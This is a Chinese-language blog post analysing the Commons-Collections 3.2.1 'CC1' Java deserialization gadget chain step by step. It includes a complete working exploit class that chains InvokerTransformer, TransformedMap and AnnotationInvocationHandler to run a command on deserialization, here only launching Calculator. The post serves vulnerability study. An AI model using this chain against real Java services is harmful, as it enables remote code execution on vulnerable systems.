Commons-Collections-CC1链分析
2025-02-06 10:14:35

调试环境配置

复现环境:jdk1.8.0_65 (/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home)

​ .java源码 (/Users/gehansheng/Desktop/Java代码审计/CC链/CC1/jdk-af660750b2f4

https://hg.openjdk.org/ 仓库中下载 JDK源码包

​ Commons-Collections 3.2.1

原安装的 jdk文件夹中的多为 .class反编译后的文件,代码不易阅读和调试,替换为 .java源码文件即可。

src/share/classes 中保存着 Java标准库源码

image-20250205112320017

image-20250205112739098

同理,使用 maven导入 Commons-Collections依赖的时候,maven添加的也是编译后的 .class文件,手动下载源代码即可:

image-20250205113515423

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.kgty;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class EXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class);
annontationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(annotationInvocationHandler);
deserialize();
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectOutputStream.writeObject(object);
}

public static void deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectInputStream.readObject();
}
}

EXP构造逻辑

正常使用 Java反射实现RCE逻辑不做赘述

1
2
3
Runtime runtime = Runtime.getRuntime();
Method execMethod = Runtime.getMethod("exec", String.class);
runtime.invoke(execMethod, "open -a Calcualtor");

(1) Commons-Collections 3.2.1中,存在核心接口 Transformer,是一种对象转换的机制,用于将一个输入对象转换为另一个输出对象。

image-20250205122815039

(2) InvokerTransformer类实现了 Transform方法,可以通过反射调用输入对象的方法:

image-20250205123748491

1
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"}).transform(runtime);

(3) InvokerTransformer中的 transform方法在 TransformedMap的 checkSetValue方法中被调用:

![image-20250205162426065](/Users/gehansheng/Library/Application Support/typora-user-images/image-20250205162426065.png)

若 valueTransformer的值可控,则可以实现命令执行。

valueTransformer的值在构造函数 TransformedMap中被定义:

image-20250205163016420

但 TransformedMap构造函数的属性为 protected,protected属性修饰的方法只能被当前类/子类调用,所以需要找一个当前类/子类中调用了 TransformedMap构造方法的 public方法。

当前类 public方法 decorate调用了构造方法 TransformedMap:

image-20250205163335651

由此 valueTransformer可控:

1
2
3
4
5
6
7
8
9
public class blog {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("a","b");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
}
}

(4) 继续向上找 checkSetValue方法在哪里被调用,TransformedMap父类 AbstractInputCheckedMapDecorator中的 MapEntry类中的 setValue方法调用了它:

image-20250205165029362

使用 for循环遍历 transformedMap中的键值时,调用 setValue方法,进而触发 checkSetValue方法实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
public class blog {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("a", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
}
}

(5) setValue方法在 AnnotationInvocationHandler.readbject方法中被调用,同样是遍历 Map的场景,这条链子大致就齐了:

image-20250205200442991

memberValues的值需可控,类 AnnotationInvocationHandler和其构造方法未使用任何访问修饰符进行修饰,只有同一包中的类可以进行访问调用。

image-20250205201338465

故使用反射进行调用:

type的属性是一种 Class泛型,Annotation是 Java中所有注解类的父类,所以 type需要赋值一种注解类。

1
2
3
4
Class c = Class.forName("com.sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvHandlerConstructor.setAccessible(true);
Object annotationInvHandler = annotationInvHandlerConstructor.newInstance(Override.class, transformedMap);

几处需要注意的 gadget

1、Runtime类没有实现 java.io.Serializable接口,不能被序列化和反序列化,需要使用反射来配合 InvokerTransformer构造。

正常反射调用 Runtime.getRuntime().exec():

1
2
3
4
5
6
7
8
9
public class Test {
public static void main(String[] args) throws Exception {
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(runtime, "open -a Calculator");
}
}

配合 InvokerTransformer:

1
2
3
4
5
6
7
public class Test {
public static void main(String[] args) throws Exception {
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(runtime);
}
}

可以利用类 ChainedTransformer中 transform方法可以递归调用 InvokerTransformer方法:

image-20250205205828723

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

2、AnnotationInvocationHandler.readObject的执行逻辑到达 memberValue.setValue之前,需要经过两个 if条件:

image-20250205211515518

断点调试 readObejct的步进逻辑可知,首先使用 annotationType获取注解 Override,接着使用 annotationType.memberTypes获取注解成员,键为注解成员的值,值为注解成员的类型。

最后判断注解成员是否和memberValue的键值相同,相同则不为 null,通过 if判断。

image-20250206092851360

但 Override.class中无成员,所以更换为 Target.class,并修改 hashMap中传入的键值:

image-20250206093820145

image-20250206093847825

3、最后需要确保 setValue的值可控,虽然 AnnotationInvocationHandler.readObject中已经确定了 setValue的值,但可以利用 ConstantTransformer类修改。

ConstantTransformer.transform无论输入数据是什么,都返回常量 iConstant,iConstant在构造函数中被赋值,利用 ConstantTransformer和 ChainedTransformer可以控制 setValue值:

1
2
3
4
5
ransformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

CC1链流程图

image-20250206101027776

上一页
2025-02-06 10:14:35
下一页